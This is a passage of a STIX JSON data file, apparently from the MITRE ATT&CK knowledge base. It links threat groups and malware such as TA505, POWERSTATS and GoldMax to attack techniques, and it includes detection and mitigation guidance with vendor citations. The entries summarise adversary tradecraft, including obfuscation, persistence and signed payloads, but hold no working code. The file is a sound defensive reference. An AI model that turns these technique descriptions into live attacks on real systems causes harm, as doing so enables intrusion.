users.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bad12e35-72da-43bb-b61b-505ed72883c5","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","source_name":"Symantec Leafminer July 2018"}],"modified":"2019-03-25T14:12:13.455Z","description":"[Leafminer](https://attack.mitre.org/groups/G0077) has infected victims using watering holes.(Citation: Symantec Leafminer July 2018)","relationship_type":"uses","source_ref":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bad38b14-93b7-42a3-b0a3-6170aa895734","created":"2024-01-23T20:31:17.726Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-23T20:31:17.726Z","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) has run scripts to enumerate recently modified documents having either a .pdf, .doc, .docx, .xls or .xlsx extension.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bad90106-a150-4d76-b39f-f35aab4ac766","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Rover","description":"Ray, V., Hayashi, K. (2016, February 29). New Malware ‘Rover’ Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"}],"modified":"2020-03-16T17:46:07.789Z","description":"[Rover](https://attack.mitre.org/software/S0090) has functionality to remove Registry Run key persistence as a cleanup procedure.(Citation: Palo Alto Rover)","relationship_type":"uses","source_ref":"malware--6b616fc1-1505-48e3-8b2c-0d19337bff38","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--badc4d79-2f59-4b9b-9044-9c53dcd386c0","created":"2019-05-29T13:02:31.667Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro TA505 June 2019","description":"Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group’s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/"},{"source_name":"Cybereason TA505 April 2019","description":"Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.","url":"https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware"},{"source_name":"Deep Instinct TA505 Apr 2019","description":"Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved September 16, 2024..","url":"https://www.deepinstinct.com/blog/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T16:25:13.667Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has signed payloads with code signing certificates from Thawte and Sectigo.(Citation: Cybereason TA505 April 2019)(Citation: Deep Instinct TA505 Apr 2019)(Citation: Trend Micro TA505 June 2019)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bae19e73-3612-42a3-be35-5f5b2adfc5b7","created":"2022-08-15T16:44:19.139Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason StrifeWater Feb 2022","description":"Cybereason Nocturnus. (2022, February 1). StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations. Retrieved August 15, 2022.","url":"https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T18:36:38.893Z","description":"[StrifeWater](https://attack.mitre.org/software/S1034) can enumerate files on a compromised host.(Citation: Cybereason StrifeWater Feb 2022)","relationship_type":"uses","source_ref":"malware--fb78294a-7d7a-4d38-8ad0-92e67fddc9f0","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bae7f2fb-99d8-4acf-b61e-f37a215aa82e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Emissary Trojan Feb 2016","description":"Falcone, R. and Miller-Osborn, J. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"}],"modified":"2021-08-27T14:42:00.585Z","description":"[Emissary](https://attack.mitre.org/software/S0082) has the capability to execute the command net start to interact with services.(Citation: Emissary Trojan Feb 2016)","relationship_type":"uses","source_ref":"malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bae85c8c-8b02-4a4c-8a38-c46f30c48274","created":"2024-08-30T14:01:06.506Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrustedSec OOB Communications","description":"Tyler Hudak. (2022, December 29). To OOB, or Not to OOB?: Why Out-of-Band Communications are Essential for Incident Response. Retrieved August 30, 2024.","url":"https://trustedsec.com/blog/to-oob-or-not-to-oob-why-out-of-band-communications-are-essential-for-incident-response"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-14T13:46:37.498Z","description":"Use secure out-of-band authentication methods to verify the authenticity of critical actions initiated via email, such as password resets, financial transactions, or access requests. For highly sensitive information, utilize out-of-band communication channels instead of relying solely on email to prevent adversaries from collecting data through compromised email accounts.(Citation: TrustedSec OOB Communications)","relationship_type":"mitigates","source_ref":"course-of-action--80a0e940-f683-4fbd-ac00-e9f935f2f808","target_ref":"attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--baeaf95e-35be-44df-8e65-95480d066550","type":"relationship","created":"2021-10-08T14:06:28.307Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-08T14:06:28.307Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--baeb8449-b956-4119-aea5-717570edb513","type":"relationship","created":"2020-06-22T20:34:05.387Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Metamorfo Apr 2020","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."}],"modified":"2020-10-22T01:34:58.225Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has digitally signed executables using AVAST Software certificates.(Citation: Medium Metamorfo Apr 2020) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--baec4c99-f8f9-4789-a73d-c6b652299048","type":"relationship","created":"2020-05-18T19:46:02.154Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro POWERSTATS V3 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}],"modified":"2020-05-18T19:46:02.154Z","description":"(Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--baedd4b3-1fc9-4056-a282-322496a3cceb","type":"relationship","created":"2020-02-10T19:49:46.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-10T19:49:46.844Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--baefaf38-da2d-4864-9c96-3bf2352bc20b","type":"relationship","created":"2021-04-20T13:11:26.199Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler APT31 Covid-19 October 2020","url":"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online","description":"Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}],"modified":"2021-04-20T21:00:45.176Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has created a run key named Dropbox Update Setup to mask a persistence mechanism for a malicious binary.(Citation: Zscaler APT31 Covid-19 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--baefb35b-634a-42d4-9cec-7cf1f5e1b324","created":"2024-02-12T21:07:08.078Z","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T21:07:08.078Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) starts a thread on execution that captures clipboard data and logs it to a predefined log file.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--baeff271-0885-4c44-a9d6-c03411ca9bb0","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","source_name":"FireEye MuddyWater Mar 2018"}],"modified":"2020-03-21T00:15:45.619Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) has encrypted C2 traffic with RSA.(Citation: FireEye MuddyWater Mar 2018)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--baf31b81-e175-49e3-b2d9-d7552ea902a1","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ClearSky MuddyWater Nov 2018","description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf"},{"source_name":"TrendMicro POWERSTATS V3 June 2019","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/"},{"source_name":"FireEye MuddyWater Mar 2018","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:14:21.080Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) uses character replacement, [PowerShell](https://attack.mitre.org/techniques/T1059/001) environment variables, and XOR encoding to obfuscate code. [POWERSTATS](https://attack.mitre.org/software/S0223)'s backdoor code is a multi-layer obfuscated, encoded, and compressed blob. (Citation: FireEye MuddyWater Mar 2018)(Citation: ClearSky MuddyWater Nov 2018) [POWERSTATS](https://attack.mitre.org/software/S0223) has used PowerShell code with custom string obfuscation (Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--baf8dbad-1cc6-4e3b-84d5-29d4dd2bb3a0","type":"relationship","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.860Z","description":"Monitor executed commands and arguments that may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms)","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Detect Outlook Forms","description":"Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.","url":"https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb005145-438c-4fd8-9cac-a636df7465da","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"XAgentOSX 2017","description":"Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"}],"modified":"2019-07-26T23:07:21.138Z","description":"[XAgentOSX](https://attack.mitre.org/software/S0161) contains the getProcessList function to run ps aux to get running processes.(Citation: XAgentOSX 2017)","relationship_type":"uses","source_ref":"malware--59a97b15-8189-4d51-9404-e1ce8ea4a069","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bb01eb87-696e-496d-9fb9-5abe60b57b12","created":"2022-07-29T19:33:39.802Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. ","modified":"2022-07-29T19:33:39.802Z","relationship_type":"mitigates","source_ref":"course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea","target_ref":"attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bb06a641-7b0f-4c42-bfcb-942f8cc7e666","created":"2022-04-19T19:27:50.521Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly created processes that may modify the kernel to automatically execute programs on system boot.","modified":"2022-04-19T20:04:41.556Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb0c3e58-eb53-448f-b1a0-ced854c6d4b0","type":"relationship","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.866Z","description":"Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources.","source_ref":"x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6","target_ref":"attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb0f5803-3c4c-46d4-a499-36baf1fb156c","type":"relationship","created":"2020-10-20T15:47:55.169Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-15T02:00:19.638Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb11119c-c409-4615-8c3f-8491749f2d3b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto T9000 Feb 2016","description":"Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"}],"modified":"2020-03-30T03:07:37.792Z","description":"[T9000](https://attack.mitre.org/software/S0098) encrypts collected data using a single byte XOR key.(Citation: Palo Alto T9000 Feb 2016)","relationship_type":"uses","source_ref":"malware--876f6a77-fbc5-4e13-ab1a-5611986730a3","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb128bd3-3f00-46d5-8f15-e1b279badb2f","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor executed commands and arguments that may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb16d8ce-3017-4835-a282-b11d10abc8a1","type":"relationship","created":"2020-08-13T18:21:08.562Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks MCMD July 2019","url":"https://www.secureworks.com/research/mcmd-malware-analysis","description":"Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."}],"modified":"2020-08-13T18:21:08.562Z","description":"[MCMD](https://attack.mitre.org/software/S0500) can use scheduled tasks for persistence.(Citation: Secureworks MCMD July 2019)","relationship_type":"uses","source_ref":"tool--975737f1-b10d-476f-8bda-3ec26ea57172","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb19637b-a68f-48fd-8b14-41607f32888d","type":"relationship","created":"2020-11-17T20:25:17.345Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-17T20:25:17.345Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) can execute TCP, UDP, and HTTP denial of service (DoS) attacks.(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb1a7fc8-bec0-4655-bbfe-0c786e237452","type":"relationship","created":"2021-03-12T16:55:09.292Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."},{"source_name":"FireEye SUNSHUTTLE Mar 2021","url":"https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html","description":"Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."}],"modified":"2021-03-12T17:03:27.428Z","description":"[GoldMax](https://attack.mitre.org/software/S0588) can download and execute additional files.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)","relationship_type":"uses","source_ref":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bb1aff02-36e4-402e-9bd0-23bfd588e4ab","type":"relationship","created":"2020-10-19T17:58:04.355Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-20T20:11:11.133Z","description":"Restrict administrator accounts to as few individuals as possible, following least privilege principles. Prevent credential overlap across systems of administrator and privileged accounts, particularly between network and non-network platforms, such as servers or 